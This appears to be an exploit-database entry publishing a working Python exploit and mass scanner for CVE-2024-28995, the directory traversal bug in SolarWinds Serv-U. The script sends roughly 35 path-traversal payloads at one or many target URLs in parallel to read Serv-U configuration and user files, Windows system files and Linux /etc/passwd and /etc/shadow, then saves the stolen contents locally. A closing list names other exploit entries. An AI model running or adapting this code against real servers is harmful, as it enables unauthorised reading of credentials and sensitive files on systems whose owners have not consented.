SolarWinds Serv-U 15.4.2 HF1 – Directory Traversal

# Exploit Title: SolarWinds Serv-U 15.4.2 HF1 - Directory Traversal

# Date: 2025-05-28

# Exploit Author: @ibrahimsql

# Exploit Author's github: https://github.com/ibrahimsql

# Vendor Homepage: https://www.solarwinds.com/serv-u-managed-file-transfer-server

# Software Link: https://www.solarwinds.com/serv-u-managed-file-transfer-server/registration

# Version: <= 15.4.2 HF1

# Tested on: Kali Linux 2024.1

# CVE: CVE-2024-28995

# Description:

# SolarWinds Serv-U was susceptible to a directory traversal vulnerability that would allow

# attackers to read sensitive files on the host machine. This exploit demonstrates multiple

# path traversal techniques to access Serv-U log files and other system files on both

# Windows and Linux systems.

#

# References:

# - https://nvd.nist.gov/vuln/detail/cve-2024-28995

# - https://www.rapid7.com/blog/post/2024/06/11/etr-cve-2024-28995-trivially-exploitable-information-disclosure-vulnerability-in-solarwinds-serv-u/

# - https://thehackernews.com/2024/06/solarwinds-serv-u-vulnerability-under.html

# Requirements: urllib3>=1.26.0 , colorama>=0.4.4 , requests>=2.25.0

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

import argparse

import concurrent.futures

import json

import os

import re

import sys

import time

from concurrent.futures import ThreadPoolExecutor, as_completed

from urllib.parse import urlparse

import requests

from colorama import Fore, Back, Style, init

# Initialize colorama

init(autoreset=True)

# Disable SSL warnings

try:

import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

except ImportError:

pass

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

BANNER = rf'''

{Fore.CYAN}

______ _______ ____ ___ ____ _ _ ____ ___ ___ ___ ____

/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \( _ )/ _ \ / _ \| ___|

| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) / _ \ (_) | (_) |___ \

| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ (_) \__, |\__, |___) |

\____| \_/ |_____| |_____|\___/_____| |_| |_____\___/ /_/ /_/|____/

{Fore.YELLOW}

SolarWinds Serv-U Directory Traversal Exploit

{Fore.RED} CVE-2024-28995 by @ibrahimsql

{Style.RESET_ALL}

'''

class ScanResult:

def __init__(self, url, is_vulnerable=False, version=None, os_type=None, file_content=None, path=None):

self.url = url

self.is_vulnerable = is_vulnerable

self.version = version

self.os_type = os_type

self.file_content = file_content

self.path = path

self.timestamp = time.strftime("%Y-%m-%d %H:%M:%S")

def to_dict(self):

return {

"url": self.url,

"is_vulnerable": self.is_vulnerable,

"version": self.version,

"os_type": self.os_type,

"path": self.path,

"timestamp": self.timestamp

}

def print_banner():

print(BANNER)

def normalize_url(url):

"""Normalize URL to ensure it has http/https protocol."""

if not url.startswith('http'):

url = f"https://{url}"

return url.rstrip('/')

def extract_server_version(headers):

"""Extract Serv-U version from server headers if available."""

if 'Server' in headers:

server_header = headers['Server']

# Look for Serv-U version pattern

match = re.search(r'Serv-U/(\d+\.\d+\.\d+)', server_header)

if match:

return match.group(1)

return None

def is_vulnerable_version(version):

"""Check if the detected version is vulnerable (15.4.2 HF1 or lower)."""

if not version:

return None

try:

# Split version numbers

major, minor, patch = map(int, version.split('.'))

# Vulnerable if lower than 15.4.2 HF2

if major < 15:

return True

elif major == 15:

if minor < 4:

return True

elif minor == 4:

if patch <= 2: # We're assuming patch 2 is 15.4.2 HF1 which is vulnerable

return True

except:

pass

return False

def get_request(url, timeout=15):

"""Make a GET request to the specified URL."""

try:

response = requests.get(url, verify=False, timeout=timeout, allow_redirects=False)

return response

except requests.RequestException as e:

return None

def detect_os_type(content):

"""Detect the operating system type from the file content."""

if any(indicator in content for indicator in ["root:", "bin:x:", "daemon:", "/etc/", "/home/", "/var/"]):

return "Linux"

elif any(indicator in content for indicator in ["[fonts]", "[extensions]", "[Mail]", "Windows", "ProgramData", "Program Files"]):

return "Windows"

return None

def get_default_payloads():

"""Return a list of directory traversal payloads specific to CVE-2024-28995."""

return [

# Windows payloads - Serv-U specific files

{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log"},

{"path": "/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt"},

{"path": "/?InternalDir=\\..\\..\\..\\..\\ProgramData\\RhinoSoft\\Serv-U\\&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt2"},

{"path": "/?InternalDir=../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt3"},

{"path": "/?InternalDir=../../../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Deep"},

{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUStartupLog.txt", "name": "Serv-U Startup Log Alt4"},

{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U.Log", "name": "Serv-U Log"},

{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServULog.txt", "name": "Serv-U Log Alt"},

{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUErrorLog.txt", "name": "Serv-U Error Log"},

{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-ErrorLog.txt", "name": "Serv-U Error Log Alt"},

{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U.ini", "name": "Serv-U Config"},

{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUAdmin.ini", "name": "Serv-U Admin Config"},

{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/Users/&InternalFile=Users.txt", "name": "Serv-U Users"},

{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/Users/&InternalFile=UserAccounts.txt", "name": "Serv-U User Accounts"},

# Verify Windows with various system files

{"path": "/?InternalDir=/../../../../windows&InternalFile=win.ini", "name": "Windows ini"},

{"path": "/?InternalDir=\\..\\..\\..\\..\\windows&InternalFile=win.ini", "name": "Windows ini Alt"},

{"path": "/?InternalDir=../../../../windows&InternalFile=win.ini", "name": "Windows ini Alt2"},

{"path": "/?InternalDir=../../../../../../windows&InternalFile=win.ini", "name": "Windows ini Deep"},

{"path": "/?InternalDir=/./../../../Windows/system.ini", "name": "Windows system.ini"},

{"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=drivers.ini", "name": "Windows drivers.ini"},

{"path": "/?InternalDir=/./../../../Windows/System32/drivers/etc/&InternalFile=hosts", "name": "Windows hosts"},

{"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=config.nt", "name": "Windows config.nt"},

{"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=ntuser.dat", "name": "Windows ntuser.dat"},

{"path": "/?InternalDir=/./../../../Windows/boot.ini", "name": "Windows boot.ini"},

# Verify Linux with various system files

{"path": "/?InternalDir=\\..\\..\\..\\..\\etc&InternalFile=passwd", "name": "Linux passwd"},

{"path": "/?InternalDir=/../../../../etc^&InternalFile=passwd", "name": "Linux passwd Alt"},

{"path": "/?InternalDir=\\..\\..\\..\\..\\etc/passwd", "name": "Linux passwd Alt2"},

{"path": "/?InternalDir=../../../../etc&InternalFile=passwd", "name": "Linux passwd Alt3"},

{"path": "/?InternalDir=../../../../../../etc&InternalFile=passwd", "name": "Linux passwd Deep"},

{"path": "/?InternalDir=/./../../../etc/&InternalFile=shadow", "name": "Linux shadow"},

{"path": "/?InternalDir=/./../../../etc/&InternalFile=hosts", "name": "Linux hosts"},

{"path": "/?InternalDir=/./../../../etc/&InternalFile=hostname", "name": "Linux hostname"},

{"path": "/?InternalDir=/./../../../etc/&InternalFile=issue", "name": "Linux issue"},

{"path": "/?InternalDir=/./../../../etc/&InternalFile=os-release", "name": "Linux os-release"}

]

def create_custom_payload(directory, filename):

"""Create a custom payload with the specified directory and filename."""

# Try both encoding styles

payloads = [

{"path": f"/?InternalDir=/./../../../{directory}&InternalFile={filename}", "name": f"Custom {filename}"},

{"path": f"/?InternalDir=/../../../../{directory}^&InternalFile={filename}", "name": f"Custom {filename} Alt"},

{"path": f"/?InternalDir=\\..\\..\\..\\..\\{directory}&InternalFile={filename}", "name": f"Custom {filename} Alt2"}

]

return payloads

def load_wordlist(wordlist_path):

"""Load custom paths from a wordlist file."""

payloads = []

try:

with open(wordlist_path, 'r') as f:

for line in f:

line = line.strip()

if line and not line.startswith('#'):

# Check if the line contains a directory and file separated by a delimiter

if ':' in line:

directory, filename = line.split(':', 1)

payloads.extend(create_custom_payload(directory, filename))

else:

# Assume it's a complete path

payloads.append({"path": line, "name": f"Wordlist: {line[:20]}..."})

return payloads

except Exception as e:

print(f"{Fore.RED}[!] Error loading wordlist: {e}{Style.RESET_ALL}")

return []

def scan_target(url, custom_payloads=None):

"""Scan a target URL for the CVE-2024-28995 vulnerability."""

url = normalize_url(url)

result = ScanResult(url)

# Try to get server version first

try:

response = get_request(url)

if response and response.headers:

result.version = extract_server_version(response.headers)

vulnerable_version = is_vulnerable_version(result.version)

if vulnerable_version is False:

print(f"{Fore.YELLOW}[*] {url} - Serv-U version {result.version} appears to be patched{Style.RESET_ALL}")

# Still continue scanning as version detection may not be reliable

except Exception as e:

pass

# Get all payloads to try

payloads = get_default_payloads()

if custom_payloads:

payloads.extend(custom_payloads)

# Try each payload

for payload in payloads:

full_url = f"{url}{payload['path']}"

try:

print(f"{Fore.BLUE}[*] Trying: {payload['name']} on {url}{Style.RESET_ALL}")

response = get_request(full_url)

if response and response.status_code == 200:

content = response.text

# Check if the response contains meaningful content

if len(content) > 100: # Arbitrary threshold to filter out error pages

os_type = detect_os_type(content)

if os_type:

result.is_vulnerable = True

result.os_type = os_type

result.file_content = content

result.path = payload['path']

print(f"{Fore.GREEN}[+] {Fore.RED}VULNERABLE: {url} - {payload['name']} - Detected {os_type} system{Style.RESET_ALL}")

# Successful match - no need to try more payloads

return result

except Exception as e:

continue

if not result.is_vulnerable:

print(f"{Fore.RED}[-] Not vulnerable: {url}{Style.RESET_ALL}")

return result

def scan_multiple_targets(targets, custom_dir=None, custom_file=None, wordlist=None):

"""Scan multiple targets using thread pool."""

results = []

custom_payloads = []

# Add custom payloads if specified

if custom_dir and custom_file:

custom_payloads.extend(create_custom_payload(custom_dir, custom_file))

# Add wordlist payloads if specified

if wordlist:

custom_payloads.extend(load_wordlist(wordlist))

print(f"{Fore.CYAN}[*] Starting scan of {len(targets)} targets with {len(custom_payloads) + len(get_default_payloads())} payloads{Style.RESET_ALL}")

# Use fixed thread count of 10

with ThreadPoolExecutor(max_workers=10) as executor:

future_to_url = {executor.submit(scan_target, target, custom_payloads): target for target in targets}

for future in as_completed(future_to_url):

try:

result = future.result()

results.append(result)

except Exception as e:

print(f"{Fore.RED}[!] Error scanning {future_to_url[future]}: {e}{Style.RESET_ALL}")

return results

def save_results(results, output_file):

"""Save scan results to a JSON file."""

output_data = [result.to_dict() for result in results]

try:

with open(output_file, 'w') as f:

json.dump(output_data, f, indent=2)

print(f"{Fore.GREEN}[+] Results saved to {output_file}{Style.RESET_ALL}")

except Exception as e:

print(f"{Fore.RED}[!] Error saving results: {e}{Style.RESET_ALL}")

def save_vulnerable_content(result, output_dir):

"""Save the vulnerable file content to a file."""

if not os.path.exists(output_dir):

os.makedirs(output_dir)

# Create a safe filename from the URL

parsed_url = urlparse(result.url)

safe_filename = f"{parsed_url.netloc.replace(':', '_')}.txt"

output_path = os.path.join(output_dir, safe_filename)

try:

with open(output_path, 'w') as f:

f.write(f"URL: {result.url}\n")

f.write(f"Path: {result.path}\n")

f.write(f"Version: {result.version or 'Unknown'}\n")

f.write(f"OS Type: {result.os_type or 'Unknown'}\n")

f.write(f"Timestamp: {result.timestamp}\n")

f.write("\n--- File Content ---\n")

f.write(result.file_content)

print(f"{Fore.GREEN}[+] Saved vulnerable content to {output_path}{Style.RESET_ALL}")

except Exception as e:

print(f"{Fore.RED}[!] Error saving content: {e}{Style.RESET_ALL}")

def main():

parser = argparse.ArgumentParser(description="CVE-2024-28995 - SolarWinds Serv-U Directory Traversal Scanner")

parser.add_argument("-u", "--url", help="Target URL")

parser.add_argument("-f", "--file", help="File containing a list of URLs to scan")

parser.add_argument("-d", "--dir", help="Custom directory path to read (e.g., ProgramData/RhinoSoft/Serv-U/)")

parser.add_argument("-n", "--filename", help="Custom filename to read (e.g., Serv-U-StartupLog.txt)")

parser.add_argument("-w", "--wordlist", help="Path to wordlist containing custom paths to try")

parser.add_argument("-o", "--output", help="Output JSON file to save results")

args = parser.parse_args()

print_banner()

# Validate arguments

if not args.url and not args.file:

parser.print_help()

print(f"\n{Fore.RED}[!] Error: Either -u/--url or -f/--file is required{Style.RESET_ALL}")

sys.exit(1)

targets = []

# Get targets

if args.url:

targets.append(args.url)

if args.file:

try:

with open(args.file, "r") as f:

targets.extend([line.strip() for line in f.readlines() if line.strip()])

except Exception as e:

print(f"{Fore.RED}[!] Error reading file {args.file}: {e}{Style.RESET_ALL}")

sys.exit(1)

# Deduplicate targets

targets = list(set(targets))

if not targets:

print(f"{Fore.RED}[!] No valid targets provided.{Style.RESET_ALL}")

sys.exit(1)

print(f"{Fore.CYAN}[*] Loaded {len(targets)} target(s){Style.RESET_ALL}")

# Set output file

output_file = args.output or f"cve_2024_28995_results_{time.strftime('%Y%m%d_%H%M%S')}.json"

# Start scanning

results = scan_multiple_targets(targets, args.dir, args.filename, args.wordlist)

# Process results

vulnerable_count = sum(1 for result in results if result.is_vulnerable)

print(f"\n{Fore.CYAN}[*] Scan Summary:{Style.RESET_ALL}")

print(f"{Fore.CYAN}[*] Total targets: {len(results)}{Style.RESET_ALL}")

print(f"{Fore.GREEN if vulnerable_count > 0 else Fore.RED}[*] Vulnerable targets: {vulnerable_count}{Style.RESET_ALL}")

# Save results

save_results(results, output_file)

# Save vulnerable file contents

for result in results:

if result.is_vulnerable and result.file_content:

save_vulnerable_content(result, "vulnerable_files")

print(f"\n{Fore.GREEN}[+] Scan completed successfully!{Style.RESET_ALL}")

if __name__ == "__main__":

try:

main()

except KeyboardInterrupt:

print(f"\n{Fore.YELLOW}[!] Scan interrupted by user{Style.RESET_ALL}")

sys.exit(0)

except Exception as e:

print(f"\n{Fore.RED}[!] An error occurred: {e}{Style.RESET_ALL}")

sys.exit(1)

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow